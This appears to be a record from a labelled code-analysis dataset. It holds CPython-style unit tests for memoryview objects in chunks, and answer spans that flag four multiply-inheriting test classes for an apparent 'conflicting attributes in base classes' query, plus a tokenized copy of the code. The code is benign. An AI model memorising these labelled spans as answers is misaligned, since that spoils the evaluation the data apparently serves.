b\"abcdef\"):\n self.assertRaises(TypeError, lambda: m < c)\n self.assertRaises(TypeError, lambda: c <= m)\n self.assertRaises(TypeError, lambda: m >= c)\n self.assertRaises(TypeError, lambda: c > m)", "metadata": "root.AbstractMemoryTests.test_compare", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 148 }, { "content": " def check_attributes_with_type(self, tp):\n m = self._view(tp(self._source))\n self.assertEqual(m.format, self.format)\n self.assertEqual(m.itemsize, self.itemsize)\n self.assertEqual(m.ndim, 1)\n self.assertEqual(m.shape, (6,))\n self.assertEqual(len(m), 6)\n self.assertEqual(m.strides, (self.itemsize,))\n self.assertEqual(m.suboffsets, ())\n return m", "metadata": "root.AbstractMemoryTests.check_attributes_with_type", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 178 }, { "content": " def test_attributes_readonly(self):\n if not self.ro_type:\n return\n m = self.check_attributes_with_type(self.ro_type)\n self.assertEqual(m.readonly, True)", "metadata": "root.AbstractMemoryTests.test_attributes_readonly", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 189 }, { "content": " def test_attributes_writable(self):\n if not self.rw_type:\n return\n m = self.check_attributes_with_type(self.rw_type)\n self.assertEqual(m.readonly, False)", "metadata": "root.AbstractMemoryTests.test_attributes_writable", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 195 }, { "content": " def test_getbuffer(self):\n # Test PyObject_GetBuffer() on a memoryview object.\n for tp in self._types:\n b = tp(self._source)\n oldrefcount = sys.getrefcount(b)\n m = self._view(b)\n oldviewrefcount = sys.getrefcount(m)\n s = str(m, \"utf-8\")\n self._check_contents(tp, b, s.encode(\"utf-8\"))\n self.assertEqual(sys.getrefcount(m), oldviewrefcount)\n m = None\n self.assertEqual(sys.getrefcount(b), oldrefcount)", "metadata": "root.AbstractMemoryTests.test_getbuffer", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 201 }, { "content": " def test_gc(self):\n for tp in self._types:\n if not isinstance(tp, type):\n # If tp is a factory rather than a plain type, skip\n continue\n\n class MyView():\n def __init__(self, base):\n self.m = memoryview(base)\n class MySource(tp):\n pass\n class MyObject:\n pass\n\n # Create a reference cycle through a memoryview object.\n # This exercises mbuf_clear().\n b = MySource(tp(b'abc'))\n m = self._view(b)\n o = MyObject()\n b.m = m\n b.o = o\n wr = weakref.ref(o)\n b = m = o = None\n # The cycle must be broken\n gc.collect()\n self.assertTrue(wr() is None, wr())\n\n # This exercises memory_clear().\n m = MyView(tp(b'abc'))\n o = MyObject()\n m.x = m\n m.o = o\n wr = weakref.ref(o)\n m = o = None\n # The cycle must be broken\n gc.collect()\n self.assertTrue(wr() is None, wr())", "metadata": "root.AbstractMemoryTests.test_gc", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 214 }, { "content": " def _check_released(self, m, tp):\n check = self.assertRaisesRegex(ValueError, \"released\")\n with check: bytes(m)\n with check: m.tobytes()\n with check: m.tolist()\n with check: m[0]\n with check: m[0] = b'x'\n with check: len(m)\n with check: m.format\n with check: m.itemsize\n with check: m.ndim\n with check: m.readonly\n with check: m.shape\n with check: m.strides\n with check:\n with m:\n pass\n # str() and repr() still function\n self.assertIn(\"released memory\", str(m))\n self.assertIn(\"released memory\", repr(m))\n self.assertEqual(m, m)\n self.assertNotEqual(m, memoryview(tp(self._source)))\n self.assertNotEqual(m, tp(self._source))", "metadata": "root.AbstractMemoryTests._check_released", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 252 }, { "content": " def test_contextmanager(self):\n for tp in self._types:\n b = tp(self._source)\n m = self._view(b)\n with m as cm:\n self.assertIs(cm, m)\n self._check_released(m, tp)\n m = self._view(b)\n # Can release explicitly inside the context manager\n with m:\n m.release()", "metadata": "root.AbstractMemoryTests.test_contextmanager", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 276 }, { "content": " def test_release(self):\n for tp in self._types:\n b = tp(self._source)\n m = self._view(b)\n m.release()\n self._check_released(m, tp)\n # Can be called a second time (it's a no-op)\n m.release()\n self._check_released(m, tp)", "metadata": "root.AbstractMemoryTests.test_release", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 288 }, { "content": " def test_writable_readonly(self):\n # Issue #10451: memoryview incorrectly exposes a readonly\n # buffer as writable causing a segfault if using mmap\n tp = self.ro_type\n if tp is None:\n return\n b = tp(self._source)\n m = self._view(b)\n i = io.BytesIO(b'ZZZZ')\n self.assertRaises(TypeError, i.readinto, m)", "metadata": "root.AbstractMemoryTests.test_writable_readonly", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 298 }, { "content": " def test_getbuf_fail(self):\n self.assertRaises(TypeError, self._view, {})", "metadata": "root.AbstractMemoryTests.test_getbuf_fail", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 309 }, { "content": " def test_hash(self):\n # Memoryviews of readonly (hashable) types are hashable, and they\n # hash as hash(obj.tobytes()).\n tp = self.ro_type\n if tp is None:\n self.skipTest(\"no read-only type to test\")\n b = tp(self._source)\n m = self._view(b)\n self.assertEqual(hash(m), hash(b\"abcdef\"))\n # Releasing the memoryview keeps the stored hash value (as with weakrefs)\n m.release()\n self.assertEqual(hash(m), hash(b\"abcdef\"))\n # Hashing a memoryview for the first time after it is released\n # results in an error (as with weakrefs).\n m = self._view(b)\n m.release()\n self.assertRaises(ValueError, hash, m)", "metadata": "root.AbstractMemoryTests.test_hash", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 312 }, { "content": " def test_hash_writable(self):\n # Memoryviews of writable types are unhashable\n tp = self.rw_type\n if tp is None:\n self.skipTest(\"no writable type to test\")\n b = tp(self._source)\n m = self._view(b)\n self.assertRaises(ValueError, hash, m)", "metadata": "root.AbstractMemoryTests.test_hash_writable", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 330 }, { "content": " def test_weakref(self):\n # Check memoryviews are weakrefable\n for tp in self._types:\n b = tp(self._source)\n m = self._view(b)\n L = []\n def callback(wr, b=b):\n L.append(b)\n wr = weakref.ref(m, callback)\n self.assertIs(wr(), m)\n del m\n test.support.gc_collect()\n self.assertIs(wr(), None)\n self.assertIs(L[0], b)", "metadata": "root.AbstractMemoryTests.test_weakref", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 339 }, { "content": "class BaseBytesMemoryTests(AbstractMemoryTests):\n ro_type = bytes\n rw_type = bytearray\n getitem_type = bytes\n itemsize = 1\n format = 'B'", "metadata": "root.BaseBytesMemoryTests", "header": "['module', '___EOS___']", "index": 358 }, { "content": "class BaseArrayMemoryTests(AbstractMemoryTests):\n ro_type = None\n rw_type = lambda self, b: array.array('i', list(b))\n getitem_type = lambda self, b: array.array('i', list(b)).tobytes()\n itemsize = array.array('i').itemsize\n format = 'i'\n\n", "metadata": "root.BaseArrayMemoryTests", "header": "['module', '___EOS___']", "index": 365 }, { "content": " def test_getbuffer(self):\n # XXX Test should be adapted for non-byte buffers\n pass", "metadata": "root.BaseArrayMemoryTests.test_getbuffer", "header": "['class', 'BaseArrayMemoryTests', '(', 'AbstractMemoryTests', ')', ':', '___EOS___']", "index": 372 }, { "content": " def test_tolist(self):\n # XXX NotImplementedError: tolist() only supports byte views\n pass", "metadata": "root.BaseArrayMemoryTests.test_tolist", "header": "['class', 'BaseArrayMemoryTests', '(', 'AbstractMemoryTests', ')', ':', '___EOS___']", "index": 376 }, { "content": "class BaseMemorySliceTests:\n source_bytes = b\"XabcdefY\"\n\n\n", "metadata": "root.BaseMemorySliceTests", "header": "['module', '___EOS___']", "index": 392 }, { "content": " def _view(self, obj):\n m = memoryview(obj)\n return m[1:7]", "metadata": "root.BaseMemorySliceTests._view", "header": "['class', 'BaseMemorySliceTests', ':', '___EOS___']", "index": 395 }, { "content": " def _check_contents(self, tp, obj, contents):\n self.assertEqual(obj[1:7], tp(contents))", "metadata": "root.BaseMemorySliceTests._check_contents", "header": "['class', 'BaseMemorySliceTests', ':', '___EOS___']", "index": 399 }, { "content": " def test_refs(self):\n for tp in self._types:\n m = memoryview(tp(self._source))\n oldrefcount = sys.getrefcount(m)\n m[1:2]\n self.assertEqual(sys.getrefcount(m), oldrefcount)", "metadata": "root.BaseMemorySliceTests.test_refs", "header": "['class', 'BaseMemorySliceTests', ':', '___EOS___']", "index": 402 }, { "content": "class BaseMemorySliceSliceTests:\n source_bytes = b\"XabcdefY\"\n\n", "metadata": "root.BaseMemorySliceSliceTests", "header": "['module', '___EOS___']", "index": 409 }, { "content": " def _view(self, obj):\n m = memoryview(obj)\n return m[:7][1:]", "metadata": "root.BaseMemorySliceSliceTests._view", "header": "['class', 'BaseMemorySliceSliceTests', ':', '___EOS___']", "index": 412 }, { "content": " def _check_contents(self, tp, obj, contents):\n self.assertEqual(obj[1:7], tp(contents))", "metadata": "root.BaseMemorySliceSliceTests._check_contents", "header": "['class', 'BaseMemorySliceSliceTests', ':', '___EOS___']", "index": 416 }, { "content": "class BytesMemorySliceTest(unittest.TestCase,\n BaseMemorySliceTests, BaseBytesMemoryTests):\n pass", "metadata": "root.BytesMemorySliceTest", "header": "['module', '___EOS___']", "index": 447 }, { "content": "class ArrayMemorySliceTest(unittest.TestCase,\n BaseMemorySliceTests, BaseArrayMemoryTests):\n pass", "metadata": "root.ArrayMemorySliceTest", "header": "['module', '___EOS___']", "index": 451 }, { "content": "class BytesMemorySliceSliceTest(unittest.TestCase,\n BaseMemorySliceSliceTests, BaseBytesMemoryTests):\n pass", "metadata": "root.BytesMemorySliceSliceTest", "header": "['module', '___EOS___']", "index": 455 }, { "content": "class ArrayMemorySliceSliceTest(unittest.TestCase,\n BaseMemorySliceSliceTests, BaseArrayMemoryTests):\n pass", "metadata": "root.ArrayMemorySliceSliceTest", "header": "['module', '___EOS___']", "index": 459 } ]
[ { "span": "class BytesMemorySliceTest(unittest.TestCase,\n BaseMemorySliceTests, BaseBytesMemoryTests):", "start_line": 447, "start_column": 0, "end_line": 448, "end_column": 48 }, { "span": "class ArrayMemorySliceTest(unittest.TestCase,\n BaseMemorySliceTests, BaseArrayMemoryTests):", "start_line": 451, "start_column": 0, "end_line": 452, "end_column": 48 }, { "span": "class BytesMemorySliceSliceTest(unittest.TestCase,\n BaseMemorySliceSliceTests, BaseBytesMemoryTests):", "start_line": 455, "start_column": 0, "end_line": 456, "end_column": 53 }, { "span": "class ArrayMemorySliceSliceTest(unittest.TestCase,\n BaseMemorySliceSliceTests, BaseArrayMemoryTests):", "start_line": 459, "start_column": 0, "end_line": 460, "end_column": 53 } ]
[]
1
false
[ "[CLS]_", "Confl", "ict", "ing_", "attributes_", "in_", "base_", "classes_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "source", "\\u", "bytes_", "=_", "b", "\"", "abcde", "f", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "source_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "source", "\\u", "bytes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "types_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "filter_", "(_", "None_", ",_", "[_", "self_", "._", "ro", "\\u", "type_", ",_", "self_", "._", "rw", "\\u", "type_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "getitem", "\\u", "with", "\\u", "type_", "(_", "self_", ",_", "tp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "=_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "refco", "unt_", "=_", "sys_", "._", "getre", "fco", "unt_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "[_", "0_", "]_", ",_", "ord_", "(_", "b", "\"", "a", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "m_", "[_", "0_", "]_", ",_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "[_", "5_", "]_", ",_", "ord_", "(_", "b", "\"", "f", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "[_", "-_", "1_", "]_", ",_", "ord_", "(_", "b", "\"", "f", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "[_", "-_", "6_", "]_", ",_", "ord_", "(_", "b", "\"", "a", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Bound", "s", " ", "checking", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Index", "Error_", ",_", "lambda_", ":_", "m_", "[_", "6_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Index", "Error_", ",_", "lambda_", ":_", "m_", "[_", "-_", "7_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Index", "Error_", ",_", "lambda_", ":_", "m_", "[_", "sys_", "._", "maxsize_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Index", "Error_", ",_", "lambda_", ":_", "m_", "[_", "-_", "sys_", "._", "maxsize_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Type", " ", "checking", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "lambda_", ":_", "m_", "[_", "None_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "lambda_", ":_", "m_", "[_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "lambda_", ":_", "m_", "[_", "\"", "a", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "sys_", "._", "getre", "fco", "unt_", "(_", "b_", ")_", ",_", "old", "refco", "unt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "getitem", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "check", "\\u", "getitem", "\\u", "with", "\\u", "type_", "(_", "tp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "iter_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "=_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "m_", ")_", ",_", "[_", "m_", "[_", "i_", "]_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "m_", ")_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "setitem", "\\u", "readonly_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "ro", "\\u", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "b_", "=_", "self_", "._", "ro", "\\u", "type_", "(_", "self_", "._", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "refco", "unt_", "=_", "sys_", "._", "getre", "fco", "unt_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "setitem", "_", "(_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "[_", "0_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "setitem", "_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "setitem", "_", ",_", "65_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "setitem", "_", ",_", "memory", "view_", "(_", "b", "\"", "a", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "sys_", "._", "getre", "fco", "unt_", "(_", "b_", ")_", ",_", "old", "refco", "unt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "setitem", "\\u", "writable_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "rw", "\\u", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tp_", "=_", "self_", "._", "rw", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "self_", "._", "rw", "\\u", "type_", "(_", "self_", "._", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "refco", "unt_", "=_", "sys_", "._", "getre", "fco", "unt_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "[_", "0_", "]_", "=_", "ord_", "(_", "b", "'", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "contents_", "(_", "tp_", ",_", "b_", ",_", "b", "\"", "1b", "cdef", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "[_", "0_", ":_", "1_", "]_", "=_", "tp_", "(_", "b", "\"", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "contents_", "(_", "tp_", ",_", "b_", ",_", "b", "\"", "0b", "cdef", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "[_", "1_", ":_", "3_", "]_", "=_", "tp_", "(_", "b", "\"", "1", "2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "contents_", "(_", "tp_", ",_", "b_", ",_", "b", "\"", "012", "def", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "[_", "1_", ":_", "1_", "]_", "=_", "tp_", "(_", "b", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "contents_", "(_", "tp_", ",_", "b_", ",_", "b", "\"", "012", "def", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "[_", ":_", "]_", "=_", "tp_", "(_", "b", "\"", "abcde", "f", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "contents_", "(_", "tp_", ",_", "b_", ",_", "b", "\"", "abcde", "f", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Overlap", "ping", " ", "copie", "s", " ", "of", " ", "a", " ", "view", " ", "int", "o", " ", "its", "elf_", "\\u\\u\\uNL\\u\\u\\u_", "m_", "[_", "0_", ":_", "3_", "]_", "=_", "m_", "[_", "2_", ":_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "contents_", "(_", "tp_", ",_", "b_", ",_", "b", "\"", "cde", "def", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "[_", ":_", "]_", "=_", "tp_", "(_", "b", "\"", "abcde", "f", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "[_", "2_", ":_", "5_", "]_", "=_", "m_", "[_", "0_", ":_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "contents_", "(_", "tp_", ",_", "b_", ",_", "b", "\"", "aba", "bcf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "setitem", "_", "(_", "key_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "[_", "key_", "]_", "=_", "tp_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Bound", "s", " ", "checking", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Index", "Error_", ",_", "setitem", "_", ",_", "6_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Index", "Error_", ",_", "setitem", "_", ",_", "-_", "7_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Index", "Error_", ",_", "setitem", "_", ",_", "sys_", "._", "maxsize_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Index", "Error_", ",_", "setitem", "_", ",_", "-_", "sys_", "._", "maxsize_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Wro", "ng", " ", "index", "/", "slice", " ", "types_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "setitem", "_", ",_", "0.0_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "setitem", "_", ",_", "(_", "0_", ",_", ")_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "setitem", "_", ",_", "(_", "slice_", "(_", "0_", ",_", "1_", ",_", "1_", ")_", ",_", "0_", ")_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "setitem", "_", ",_", "(_", "0_", ",_", "slice_", "(_", "0_", ",_", "1_", ",_", "1_", ")_", ")_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "setitem", "_", ",_", "(_", "0_", ",_", ")_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "setitem", "_", ",_", "\"", "a", "\"_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Not", " ", "implemented", ":", " ", "multid", "ime", "nsion", "al", " ", "slices_", "\\u\\u\\uNL\\u\\u\\u_", "slices_", "=_", "(_", "slice_", "(_", "0_", ",_", "1_", ",_", "1_", ")_", ",_", "slice_", "(_", "0_", ",_", "1_", ",_", "2_", ")_", ")_", 